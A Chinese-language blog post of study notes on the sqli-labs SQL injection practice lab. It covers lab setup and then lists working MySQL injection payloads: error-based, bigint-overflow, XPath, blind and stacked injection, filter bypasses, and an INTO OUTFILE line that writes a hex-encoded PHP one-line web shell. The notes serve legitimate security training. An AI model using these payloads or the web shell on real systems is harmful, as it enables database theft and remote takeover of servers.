0x01 写在开头
废弃博客了,也没有人看,管理起来也比较费劲,之后就写到onenote然后复制到好了。
接触到sqli-lab应该是一年以前的事情了,但是对于当时的我来说,一个information_schema都搞得晕头转向的,别提之后的报错注入了。
推荐几个学习资源:
http://www.jianshu.com/u/bf30f18c872c
http://www.cnblogs.com/lcamry/
http://blog.csdn.net/u012763794?viewmode=contents
我就不按照一个一个的挑战写了,就总结一下我自己不熟悉的以及觉得重要的要点。
0x02 注意事项
实际上学习web方向不会搭环境是比较的痛苦。这里php+mysql+apache我是用wamp搭建了,用了这么久习惯了,还是建议使用wamp,能够帮助熟悉apache和php的配置。
需要注意的就是在less29-31需要tomcat环境:
1.安装jdk(配置环境变量)
2.安装tomcat
3.mysql-connector-bin.jar需要下载后复制到jdk下的
/jre/lib/ext文件夹下
4.解压sqli-lab的tomcat-files.zip到tomcat下的
webapps/root文件夹下
5.tomcat下的所有挑战的index.jsp中的路径都得改成你自己搭的运行在apache下的sqli-lab的路径。
0x03 要点总结
1.几个重要的信息组合函数
concat、concat_ws、group_concat
group_concat尤为重要(separator '!' 以!为分隔)
2.几个重要的信息
@@basedir、@@databir、@@version_conpile_os
3.union和union all的区别
4.and优先于or &优先于=
5.几个重要的盲注相关函数
mid、substr、left、ord、ascii、regexp
这里需要注意的一点是这个regexp
select …… 1' and 1=(select 1 from information_schema.tables where table_schema='xxx' and table_name regexp '^[a-z]' limit 0,1)
有个误解是通过regexp来盲注表名而limit来控制爆哪个表,但是这样是错误的,regexp会匹配所有表名,无法通过limit来进行控制。
6.count(*) floor(rand(0)*2) x group by x报错
两种形式:
and (select 1 from
(select count(*),
concat(,floor(rand(0)*2),注入语句)x
from xxx group by x)a)#
以及
union select x,count(*),concat(…)x from xx group by x#
7.溢出报错
基本逻辑:
~0返回最大的unsigned bigint值
select xxxx 返回0
!(select xxxx)返回1
~0+1或1-~0发生溢出
and ~0%2b!(select * from(select user())x)
基本形式:
~0+1
1-~0
select (!a-~0) from(select(select user())a)x
select !x-~0 from(select(select user())x)a
这种基于bigint溢出的注入几乎可以用所有的数学函数进行
hex geil truncate round in rand tan sign floor ceiling sort exp
exp:
exp (~(select * from(select user())x))
8.xml xpath语法错误
extractvalue(1,concat('!',(注入语句),'!'))
updatexml(1,concat('!',(注入语句),'!'),1)
9.name_const重复错误
select * from(select name_const(注入语句,1),
name_const(注入语句,1))x
10.导入导出
导入
load data infile
导出
重点是有权限以及拥有完整物理路径
路径写法/或\\
outfile之后的引号不可避免
11.insert,update,delete型注入
使用报错以及盲注
--、#被当作正常的字符串
payload需要做出调整:
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) or ''='
'*(payload)*'
'-(payload)-'
12.对于空格的过滤
%09 tab水平
%0a 新建一行
%0c 新的一页
%0d return功能
%0b tab垂直
%a0 空格
13.hpp(HTTP Parameter Pollution)http参数污染
14.stacked injection
mysqli_multi_query
15.order by之后的注入
order by $id
(1).数字
*$id=(select xxx)
*$id=rand(sql语句)
*利用and $id=1 and(sql语句)
(2).procedure analyse参数
$id=1 procedure analyse(extractvalue(rand(),concat(';',version())))
(3).导出文件
into outfile 'xxx' lines terminated by 0x3C3F706870206576616C28245F504F53545B2761275D293B3F3E
写一句话木马